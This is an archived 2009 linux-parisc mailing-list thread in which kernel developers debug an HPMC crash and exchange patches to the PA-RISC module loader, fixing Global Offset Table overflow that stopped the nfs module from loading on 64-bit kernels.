X-Greylist: delayed 1223 seconds by postgrey-1.27 at vger.kernel.org; Fri, 31 Jul 2009 19:36:54 EDT
Original-Received: from math.ut.ee (math.ut.ee [193.40.36.2])
	by smtp2.it.da.ut.ee (Postfix) with ESMTP id DD92D73D5BF;
	Sat,  1 Aug 2009 02:16:29 +0300 (EEST)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
	id DD637FD7A1; Sat,  1 Aug 2009 02:16:29 +0300 (EEST)
Original-Received: from localhost (localhost [127.0.0.1])
	by math.ut.ee (Postfix) with ESMTP id D3496FD79B;
	Sat,  1 Aug 2009 02:16:29 +0300 (EEST)
In-Reply-To: <20090731144654.F3D374CFD@hiauly1.hia.nrc.ca>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1972
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1972>

> > Are you sure? There are basic explanations about the info we need. For instance:
> > 
> > "- The r02 register is the "return pointer" - it indicates the calling function
> > - The IAOQ contents specify the address of the instruction where the
> > fault occured."
> > 
> > Of course they are undecoded, that's why you need to be able to
> > objdump the kernel.
> 
> I tried to download the kernel package, but it's gone from the debian
> servers.  So, you will have to run objdump yourself.  Just do
> 
> hppa64-linux-gnu-objdump vmlinux-2.6.29-2-parisc64-smp | less

Did this - managed to boot via etch netinst+chroot. The address ranges 
do not match (as suggested by an earleir post?) - they start with
0000000040100000. r02 shows 000000000c1b5c78 and I can not find anything 
sensible ending with 1b5c7XX. The only match is in the middle of 
filemap_fault:

    401b5c64:   08 19 02 49     copy r25,r9
    401b5c68:   53 5c 00 50     ldd 28(r26),ret0
    401b5c6c:   c5 fc 43 e8     bb,< ret0,f,401b5e68 <filemap_fault+0x278>
    401b5c70:   34 0b 00 00     ldi 0,r11
    401b5c74:   34 0c 00 00     ldi 0,r12
    401b5c78:   2b 60 00 00     addil L%0,dp,r1
    401b5c7c:   08 01 02 4d     copy r1,r13
    401b5c80:   2b 63 30 00     addil L%7800,dp,r1
    401b5c84:   37 c7 3f a1     ldo -30(sp),r7
    401b5c88:   08 01 02 48     copy r1,r8

Also, there is no mention of IAOQ, IIR, IOR in HPMC - are they there but 
with different names?

The disassmebly from the image is at
http://muuseum.at.mt.ut.ee/~mroos/objdump-2.6.19-2-parisc64-smp if 
sombeody can help me find my way through it. The image itself is at
http://muuseum.at.mt.ut.ee/~mroos/vmlinux-2.6.29-2-parisc64-smp

I also installed Debian's current 2.6.30-1-parisc64 kernel and it 
behaves the same - HPMC after PCI messages from tulip.

For some strange reason, 2.6.18-6-parisc64 (as fully working netbooted 
etch's uname tells) does not boot from disk either - it panics in a 
differnet place so I did not investigate it further. Maybe probles with 
my initramfs.

-- 
Meelis Roos (mroos@ut.ee)      http://www.cs.ut.ee/~mroos/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset
	Table
Date: Fri, 31 Jul 2009 19:38:28 -0400
Lines: 129
Approved: news@gmane.org
Message-ID: <20090731233828.GF26333@bombadil.infradead.org>
References: <119aab440907311413s2e5ef1ebl690fff1bc4f0daea@mail.gmail.com> <20090731212634.737DB4CFD@hiauly1.hia.nrc.ca> <119aab440907311500v14b192e7t8a244d9d3b2c482e@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1249083538 24122 80.91.229.12 (31 Jul 2009 23:38:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 23:38:58 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	elendil@planet.nl, 539378@bugs.debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	randolph@tausq.org, submit@bugs.debian.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 01:38:49 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MX1gN-00033M-CF
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 01:38:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751479AbZGaXih convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 19:38:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751484AbZGaXih
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 19:38:37 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:55926 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751479AbZGaXig convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 19:38:36 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MX1gC-00036O-CO; Fri, 31 Jul 2009 23:38:28 +0000
Content-Disposition: inline
In-Reply-To: <119aab440907311500v14b192e7t8a244d9d3b2c482e@mail.gmail.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1973 gmane.linux.debian.ports.hppa:5911
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1973>

On Fri, Jul 31, 2009 at 06:00:48PM -0400, Carlos O'Donell wrote:
> On Fri, Jul 31, 2009 at 5:26 PM, John David
> Anglin<dave@hiauly1.hia.nrc.ca> wrote:
> > I don't have more details... =A0The idea is as Carlos outlined. =A0=
There's
> > code in the binutils elf32-hppa.c and elf64-hppa.c files to impleme=
nt
> > the above for dynamic libraries. =A0That's what made me think of it=
=2E
>=20
> Binutils is not involved in the kernel module loader, instead
> arch/parisc/kernel/module.c (get_fdesc) chooses where the gp will
> point to.
>=20
> If you set gp to the middle of the GOT table, *and* implement
> long/short ldd access on 64-bit, then you would get a total of 8191
> possible slots per module.
>=20
> Personally I think the lower risk, quicker fix, is to implement a fix
> for 64-bit kernels that uses ldd in format 3 for all offsets > 15
> bytes, and thus allow you to set MAX_GOTS to 4095.
>=20
> Note: ldd format 3 can't be used to load immediate values between 15
> and -16 bytes.
>=20

Is it as simple as:

diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index ef5caf2..0502fab 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -82,13 +82,6 @@
 		return -ENOEXEC;			\
 	}
=20
-/* Maximum number of GOT entries. We use a long displacement ldd from
- * the bottom of the table, which has a maximum signed displacement of
- * 0x3fff; however, since we're only going forward, this becomes
- * 0x1fff, and thus, since each GOT entry is 8 bytes long we can have
- * at most 1023 entries */
-#define MAX_GOTS	1023
-
 /* three functions to determine where in the module core
  * or init pieces the location is */
 static inline int in_init(struct module *me, void *loc)
@@ -126,6 +119,14 @@ struct stub_entry {
 };
 #endif
=20
+/* Maximum number of GOT entries. We use a long displacement ldd from
+ * the bottom of the table, which has 16-bit signed displacement from
+ * %dp. Because we only use the forward direction, we're limited to
+ * 15-bits - 1, and because each GOT entry is 8-bytes wide, we're limi=
ted
+ * to 4095 entries.
+ */
+#define MAX_GOTS	(((1 << 15) - 1) / sizeof(struct got_entry))
+
 /* Field selection types defined by hppa */
 #define rnd(x)			(((x)+0x1000)&~0x1fff)
 /* fsel: full 32 bits */
@@ -151,6 +152,15 @@ static inline int reassemble_14(int as14)
 		((as14 & 0x2000) >> 13));
 }
=20
+/* Unusual 16-bit encoding, for wide mode only.  */
+static inline int reassemble_16a(int as16)
+{
+	int s, t;
+	t =3D (as16 << 1) & 0xffff;
+	s =3D (as16 & 0x8000);
+	return (t ^ s ^ (s >> 1)) | (s >> 15);
+}
+
 static inline int reassemble_17(int as17)
 {
 	return (((as17 & 0x10000) >> 16) |
@@ -460,12 +470,16 @@ static Elf_Addr get_stub(struct module *me, unsig=
ned long value, long addend,
  */
 	switch (stub_type) {
 	case ELF_STUB_GOT:
+		unsigned int d =3D get_got(me, value, addend) & 0x7fff;
+
 		stub->insns[0] =3D 0x537b0000;	/* ldd 0(%dp),%dp	*/
 		stub->insns[1] =3D 0x53610020;	/* ldd 10(%dp),%r1	*/
 		stub->insns[2] =3D 0xe820d000;	/* bve (%r1)		*/
 		stub->insns[3] =3D 0x537b0030;	/* ldd 18(%dp),%dp	*/
=20
-		stub->insns[0] |=3D reassemble_14(get_got(me, value, addend) & 0x3ff=
f);
+		if (d > 15)
+			stub->insns[0] |=3D reassemble_16a(d);
+
 		break;
 	case ELF_STUB_MILLI:
 		stub->insns[0] =3D 0x20200000;	/* ldil 0,%r1		*/

I don't think we need to worry about the initial 15-bytes displacement,
since they're all within the first got_entry? (The resulting assembly
looks alright from a 64-bit toolchain:

kyle@shortfin ~ $ cat foo.S
	.text
a:
	ldd 32760(%r27),%r27
	break	0,0

0000000000000000 <a>:
   0:	53 7b ff f0 	ldd 7ff8(dp),dp

int main(void) {
        unsigned int opcode =3D 0x537b0000;
        opcode |=3D re_assemble_16(32760);
        printf("0x%x\n", opcode);
        return 0;
}

kyle@shortfin ~ $ ./foo
0x537bfff0

Looks pretty happy?
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset	Table
Date: Sat, 01 Aug 2009 01:45:30 +0200
Lines: 227
Approved: news@gmane.org
Message-ID: <4A73821A.4020506@gmx.de>
References: <119aab440907311413s2e5ef1ebl690fff1bc4f0daea@mail.gmail.com> <20090731212634.737DB4CFD@hiauly1.hia.nrc.ca> <119aab440907311500v14b192e7t8a244d9d3b2c482e@mail.gmail.com> <20090731233828.GF26333@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------090002020306030204060209"
X-Trace: ger.gmane.org 1249083945 24916 80.91.229.12 (31 Jul 2009 23:45:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Jul 2009 23:45:45 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	elendil@planet.nl, 539378@bugs.debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	randolph@tausq.org, submit@bugs.debian.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 01:45:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MX1n5-00059W-PU
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 01:45:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751484AbZGaXpd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 19:45:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751796AbZGaXpd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 19:45:33 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:60317 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751484AbZGaXpc (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 19:45:32 -0400
Original-Received: (qmail invoked by alias); 31 Jul 2009 23:45:31 -0000
Original-Received: from p4FDB2EE7.dip0.t-ipconnect.de (EHLO halden.box) [79.219.46.231]
  by mail.gmx.net (mp054) with SMTP; 01 Aug 2009 01:45:31 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19pWUIL9vhpJanGUZJu/7GQgh58VokAiXMQ49kEfm
	9qNoEv9eXDDq8d
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3pre) Gecko/20090513 Fedora/3.0-2.3.beta2.fc11 Thunderbird/3.0b2
In-Reply-To: <20090731233828.GF26333@bombadil.infradead.org>
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.41
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1974 gmane.linux.debian.ports.hppa:5912
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1974>

This is a multi-part message in MIME format.
--------------090002020306030204060209
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

On 08/01/2009 01:38 AM, Kyle McMartin wrote:
> On Fri, Jul 31, 2009 at 06:00:48PM -0400, Carlos O'Donell wrote:
>> On Fri, Jul 31, 2009 at 5:26 PM, John David
>> Anglin<dave@hiauly1.hia.nrc.ca>  wrote:
>>> I don't have more details...  The idea is as Carlos outlined.  There's
>>> code in the binutils elf32-hppa.c and elf64-hppa.c files to implement
>>> the above for dynamic libraries.  That's what made me think of it.
>> Binutils is not involved in the kernel module loader, instead
>> arch/parisc/kernel/module.c (get_fdesc) chooses where the gp will
>> point to.
>>
>> If you set gp to the middle of the GOT table, *and* implement
>> long/short ldd access on 64-bit, then you would get a total of 8191
>> possible slots per module.
>>
>> Personally I think the lower risk, quicker fix, is to implement a fix
>> for 64-bit kernels that uses ldd in format 3 for all offsets>  15
>> bytes, and thus allow you to set MAX_GOTS to 4095.
>>
>> Note: ldd format 3 can't be used to load immediate values between 15
>> and -16 bytes.
>>
>
> Is it as simple as:
>
> diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
> index ef5caf2..0502fab 100644
> --- a/arch/parisc/kernel/module.c
> +++ b/arch/parisc/kernel/module.c
> @@ -82,13 +82,6 @@
>   		return -ENOEXEC;			\
>   	}
>
> -/* Maximum number of GOT entries. We use a long displacement ldd from
> - * the bottom of the table, which has a maximum signed displacement of
> - * 0x3fff; however, since we're only going forward, this becomes
> - * 0x1fff, and thus, since each GOT entry is 8 bytes long we can have
> - * at most 1023 entries */
> -#define MAX_GOTS	1023
> -
>   /* three functions to determine where in the module core
>    * or init pieces the location is */
>   static inline int in_init(struct module *me, void *loc)
> @@ -126,6 +119,14 @@ struct stub_entry {
>   };
>   #endif
>
> +/* Maximum number of GOT entries. We use a long displacement ldd from
> + * the bottom of the table, which has 16-bit signed displacement from
> + * %dp. Because we only use the forward direction, we're limited to
> + * 15-bits - 1, and because each GOT entry is 8-bytes wide, we're limited
> + * to 4095 entries.
> + */
> +#define MAX_GOTS	(((1<<  15) - 1) / sizeof(struct got_entry))
> +
>   /* Field selection types defined by hppa */
>   #define rnd(x)			(((x)+0x1000)&~0x1fff)
>   /* fsel: full 32 bits */
> @@ -151,6 +152,15 @@ static inline int reassemble_14(int as14)
>   		((as14&  0x2000)>>  13));
>   }
>
> +/* Unusual 16-bit encoding, for wide mode only.  */
> +static inline int reassemble_16a(int as16)
> +{
> +	int s, t;
> +	t = (as16<<  1)&  0xffff;
> +	s = (as16&  0x8000);
> +	return (t ^ s ^ (s>>  1)) | (s>>  15);
> +}
> +
>   static inline int reassemble_17(int as17)
>   {
>   	return (((as17&  0x10000)>>  16) |
> @@ -460,12 +470,16 @@ static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
>    */
>   	switch (stub_type) {
>   	case ELF_STUB_GOT:
> +		unsigned int d = get_got(me, value, addend)&  0x7fff;
> +
>   		stub->insns[0] = 0x537b0000;	/* ldd 0(%dp),%dp	*/
>   		stub->insns[1] = 0x53610020;	/* ldd 10(%dp),%r1	*/
>   		stub->insns[2] = 0xe820d000;	/* bve (%r1)		*/
>   		stub->insns[3] = 0x537b0030;	/* ldd 18(%dp),%dp	*/
>
> -		stub->insns[0] |= reassemble_14(get_got(me, value, addend)&  0x3fff);
> +		if (d>  15)
> +			stub->insns[0] |= reassemble_16a(d);
> +
>   		break;
>   	case ELF_STUB_MILLI:
>   		stub->insns[0] = 0x20200000;	/* ldil 0,%r1		*/
>
> I don't think we need to worry about the initial 15-bytes displacement,
> since they're all within the first got_entry? (The resulting assembly
> looks alright from a 64-bit toolchain:
>
> kyle@shortfin ~ $ cat foo.S
> 	.text
> a:
> 	ldd 32760(%r27),%r27
> 	break	0,0
>
> 0000000000000000<a>:
>     0:	53 7b ff f0 	ldd 7ff8(dp),dp
>
> int main(void) {
>          unsigned int opcode = 0x537b0000;
>          opcode |= re_assemble_16(32760);
>          printf("0x%x\n", opcode);
>          return 0;
> }
>
> kyle@shortfin ~ $ ./foo
> 0x537bfff0
>
> Looks pretty happy?
>

Kyle, you beat me.
Attached is my patch ....

Tested and works.

root@c3000:~# uname -a
Linux c3000 2.6.31-rc4-64bit #42 SMP Sat Aug 1 01:37:29 CEST 2009 parisc64 GNU/Linux
root@c3000:~# lsmod
Module                  Size  Used by
ipv6                  493320  70
reiserfs              461624  0
nfs                   300704  0
lockd                 144456  1 nfs
nfs_acl                 5592  1 nfs
sunrpc                382312  3 nfs,lockd,nfs_acl
msdos                  15032  0
fat                    91248  1 msdos

Helge

--------------090002020306030204060209
Content-Type: text/x-patch;
 name="got.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="got.patch"

parisc: module.c - fix GOT table overflow with large kernel modules on 64 bit kernels

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index ef5caf2..d280219 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -86,8 +86,12 @@
  * the bottom of the table, which has a maximum signed displacement of
  * 0x3fff; however, since we're only going forward, this becomes
  * 0x1fff, and thus, since each GOT entry is 8 bytes long we can have
- * at most 1023 entries */
-#define MAX_GOTS	1023
+ * at most 1023 entries.
+ * To overcome this 14bit displacement with some kernel modules, we'll
+ * use instead the unusal 16bit displacement method (see reassemble_16a)
+ * which gives us a maximum positive displacement of 0x7fff, and as such 
+ * allows us to allocate up to 4095 GOT entries. */
+#define MAX_GOTS	4095
 
 /* three functions to determine where in the module core
  * or init pieces the location is */
@@ -151,6 +155,17 @@ static inline int reassemble_14(int as14)
 		((as14 & 0x2000) >> 13));
 }
 
+static inline int reassemble_16a(int as16)
+{
+	int s, t;
+
+	/* Unusual 16-bit encoding, for wide mode only.  */
+	t = (as16 << 1) & 0xffff;
+	s = (as16 & 0x8000);
+	return (t ^ s ^ (s >> 1)) | (s >> 15);
+}
+
+
 static inline int reassemble_17(int as17)
 {
 	return (((as17 & 0x10000) >> 16) |
@@ -407,6 +422,7 @@ static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
 	enum elf_stub_type stub_type, Elf_Addr loc0, unsigned int targetsec)
 {
 	struct stub_entry *stub;
+	int d;
 
 	/* initialize stub_offset to point in front of the section */
 	if (!me->arch.section[targetsec].stub_offset) {
@@ -460,12 +476,17 @@ static Elf_Addr get_stub(struct module *me, unsigned long value, long addend,
  */
 	switch (stub_type) {
 	case ELF_STUB_GOT:
-		stub->insns[0] = 0x537b0000;	/* ldd 0(%dp),%dp	*/
+		stub->insns[0] = 0x537b0000;    /* ldd 0(%dp),%dp	*/
 		stub->insns[1] = 0x53610020;	/* ldd 10(%dp),%r1	*/
 		stub->insns[2] = 0xe820d000;	/* bve (%r1)		*/
 		stub->insns[3] = 0x537b0030;	/* ldd 18(%dp),%dp	*/
 
-		stub->insns[0] |= reassemble_14(get_got(me, value, addend) & 0x3fff);
+		d = get_got(me, value, addend);
+		if (d <= 15)
+			stub->insns[0] |= reassemble_14(d);
+		else
+			stub->insns[0] |= reassemble_16a(d);
+
 		break;
 	case ELF_STUB_MILLI:
 		stub->insns[0] = 0x20200000;	/* ldil 0,%r1		*/

--------------090002020306030204060209--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Fri, 31 Jul 2009 20:37:39 +2000 (EDT)
Lines: 23
Approved: news@gmane.org
Message-ID: <20090801003740.8BBDE5160@hiauly1.hia.nrc.ca>
References: <4A73821A.4020506@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249087085 30690 80.91.229.12 (1 Aug 2009 00:38:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Aug 2009 00:38:05 +0000 (UTC)
Cc: kyle@mcmartin.ca, carlos@systemhalted.org, elendil@planet.nl,
	539378@bugs.debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, randolph@tausq.org,
	submit@bugs.debian.org
To: deller@gmx.de (Helge Deller)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 02:37:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MX2bj-0000d6-1C
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 02:37:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751629AbZHAAhx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 20:37:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751857AbZHAAhx
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 20:37:53 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2167 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751629AbZHAAhw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 20:37:52 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 8BBDE5160; Fri, 31 Jul 2009 20:37:39 -0400 (EDT)
In-Reply-To: <4A73821A.4020506@gmx.de> from "Helge Deller" at Aug 1, 2009 01:45:30 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1975 gmane.linux.debian.ports.hppa:5913
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1975>

>  	case ELF_STUB_GOT:
> -		stub->insns[0] = 0x537b0000;	/* ldd 0(%dp),%dp	*/
> +		stub->insns[0] = 0x537b0000;    /* ldd 0(%dp),%dp	*/
>  		stub->insns[1] = 0x53610020;	/* ldd 10(%dp),%r1	*/
>  		stub->insns[2] = 0xe820d000;	/* bve (%r1)		*/
>  		stub->insns[3] = 0x537b0030;	/* ldd 18(%dp),%dp	*/
>  
> -		stub->insns[0] |= reassemble_14(get_got(me, value, addend) & 0x3fff);
> +		d = get_got(me, value, addend);
> +		if (d <= 15)
> +			stub->insns[0] |= reassemble_14(d);

reassemble_14 is wrong for ldd format 3.  Need format 5 and im5 insertion.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Bug#539378: [hppa]: fails to load nfs module: Global Offset Table
Date: Fri, 31 Jul 2009 21:16:37 +2000 (EDT)
Lines: 25
Approved: news@gmane.org
Message-ID: <20090801011638.865854CFD@hiauly1.hia.nrc.ca>
References: <20090801003740.8BBDE5160@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249089414 2237 80.91.229.12 (1 Aug 2009 01:16:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 1 Aug 2009 01:16:54 +0000 (UTC)
Cc: deller@gmx.de, kyle@mcmartin.ca, carlos@systemhalted.org,
	elendil@planet.nl, 539378@bugs.debian.org,
	debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org,
	randolph@tausq.org, submit@bugs.debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 01 03:16:45 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MX3DI-0000sU-Gj
	for glpp-linux-parisc@gmane.org; Sat, 01 Aug 2009 03:16:44 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751368AbZHABQl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 Jul 2009 21:16:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751719AbZHABQl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 31 Jul 2009 21:16:41 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2177 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751368AbZHABQl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 Jul 2009 21:16:41 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 865854CFD; Fri, 31 Jul 2009 21:16:38 -0400 (EDT)
In-Reply-To: <20090801003740.8BBDE5160@hiauly1.hia.nrc.ca> from "John David Anglin" at Jul 31, 2009 08:37:39 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1976 gmane.linux.debian.ports.hppa:5914
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1976>

> >  	case ELF_STUB_GOT:
> > -		stub->insns[0] = 0x537b0000;	/* ldd 0(%dp),%dp	*/
> > +		stub->insns[0] = 0x537b0000;    /* ldd 0(%dp),%dp	*/
> >  		stub->insns[1] = 0x53610020;	/* ldd 10(%dp),%r1	*/
> >  		stub->insns[2] = 0xe820d000;	/* bve (%r1)		*/
> >  		stub->insns[3] = 0x537b0030;	/* ldd 18(%dp),%dp	*/
> >  
> > -		stub->insns[0] |= reassemble_14(get_got(me, value, addend) & 0x3fff);
> > +		d = get_got(me, value, addend);
> > +		if (d <= 15)
> > +			stub->insns[0] |= reassemble_14(d);
> 
> reassemble_14 is wrong for ldd format 3.  Need format 5 and im5 insertion.

The format 5 version of ldd 0(%dp),%dp is 0x0f6010db.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
